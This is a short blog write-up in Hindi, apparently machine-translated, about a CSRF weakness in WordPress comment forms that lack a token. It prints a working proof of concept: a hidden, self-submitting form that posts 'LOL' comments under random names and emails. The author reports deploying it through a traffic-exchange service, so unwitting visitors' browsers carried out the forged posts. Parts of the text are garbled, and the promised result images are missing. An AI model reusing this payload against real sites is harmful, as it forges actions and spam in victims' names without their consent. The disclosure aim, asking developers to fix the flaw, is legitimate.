वर्डप्रेस CSRF भेद्यता - टिप्पणियाँ

परिचय

मैंने कल Yegor Khomyakov के बारे में पढ़ा। मैंने सोचा- शायद मैं ऐसा कर सकता हूँ? और मैंने अपने Wordpress ब्लॉग से शुरुआत की। मुझे पता नहीं देना चाहिए, अन्यथा ब्लॉग स्वयं ही हैफ्रेक्ट से गिर जाएगा, और वे मुझ पर विज्ञापन का आरोप लगाएंगे :)।

सिद्धांत

तो Wordpress में CSRF देखने के लिए यह कहाँ समझ में आता है? मेरे दिमाग में सिर्फ एक ही बात आती है - टिप्पणियां। मैंने उनके साथ शुरुआत की।
कट के नीचे सावधानी, दो मध्यम आकार के पीएनजी चित्र हैं। (नैतिकता, नैतिकता ...)

हम फॉर्म कोड को देखते हैं (थोड़ा सरलीकृत):

<form action="http://example.com/wp-comments-post.php" method="post" id="commentform"> <p><input type="text" name="author" id="author" class="styled" value="" size="22" tabindex="1"> <input type="hidden" name="comment_post_ID" value="123"> <label for="author"><small></small></label></p> <p><input type="text" name="email" id="email" value="" size="22" tabindex="2"> <label for="email"><small> ()</small></label></p> <p><input type="text" name="url" id="url" value="" size="22" tabindex="3"> <label for="url"><small></small></label></p> <p><textarea name="comment" id="comment" cols="100%" rows="10" tabindex="4"></textarea></p> <p><input name="submit" type="submit" id="submit" tabindex="5" value=""></p> </form> 

यह तुरंत दिमाग में आता है - कोई टोकन या ऐसा कुछ भी नहीं! यह ध्यान देने योग्य है कि कुछ ब्लॉगों पर मैंने Akismet से टोकन की समानता को देखा, लेकिन व्यक्तिगत रूप से मेरे पास Wordpress 3.3.1 और Akismet के साथ कोई टोकन नहीं है।

बिना किसी हिचकिचाहट के, उन्होंने एक सरल कोड लिखा:

 <div style="display:none;"><form action="http://example.com/wp-comments-post.php" method="post" id="commentform"> <p><input type="hidden" name="author" id="author" value=""> <input type="hidden" name="comment_post_ID" value="123"></p> <p><input type="hidden" name="email" id="email" value="" size="22" tabindex="2"></p> <p><input type="hidden" name="comment" id="comment" value="LOL"></input></p> <script> document.getElementById('author').value=(Math.random()*100000).toFixed(0); document.getElementById('email').value=(Math.random()*100000).toFixed(0)+'@mail.mail'; document.forms.commentform.submit(); </script> </form> </div> 

जैसा कि आप देख सकते हैं, इस सामग्री के साथ एक पृष्ठ को टिप्पणी के लेखक के नाम के साथ प्रयोगात्मक ब्लॉग पर एक टिप्पणी फ़ॉर्म भेजना चाहिए, जिसमें यादृच्छिक संख्याएँ शामिल हैं, और प्रपत्र का एक ई-मेल <यादृच्छिक संख्याएँ> @ mail.mail। कमेंट्री के पाठ के रूप में, LOL शब्द सभी के लिए काफी पहचानने योग्य है।
इस विशेष कोड का नकारात्मक पक्ष यह है कि जब आप फॉर्म जमा करते हैं, तो उपयोगकर्ता अनिवार्य रूप से प्रयोगात्मक ब्लॉग पर जाएगा। लेकिन इस मुद्दे को एक आइफ्रेम के माध्यम से बेवकूफी से हल किया जाता है।

अभ्यास

बिना किसी हिचकिचाहट के, मैंने इस पेज को इस्प्रैम पेज के साथ PasteHTML पर डाल दिया और इसे "साइट प्रमोशन सिस्टम" में लॉन्च कर दिया, जहां साइट के मालिक बाद में सर्फ करने के लिए सामने आए।
परिणाम काफी अनुमानित है:

निष्कर्ष

CSRF लोकप्रिय है। लेकिन मुझे समझ नहीं आ रहा है कि इस तरह के सॉफ्टवेयर में इसकी अनुमति क्यों है।
और किसी भी अकीमेत ने मदद नहीं की।
निष्कर्ष - कैप्चा का उपयोग करें! :)

PS कौन और कैसे जानता है - कृपया डेवलपर्स को लिखें।
पीपीएस यह मेराब पर पहला लेख है, सख्ती से न्याय न करें :)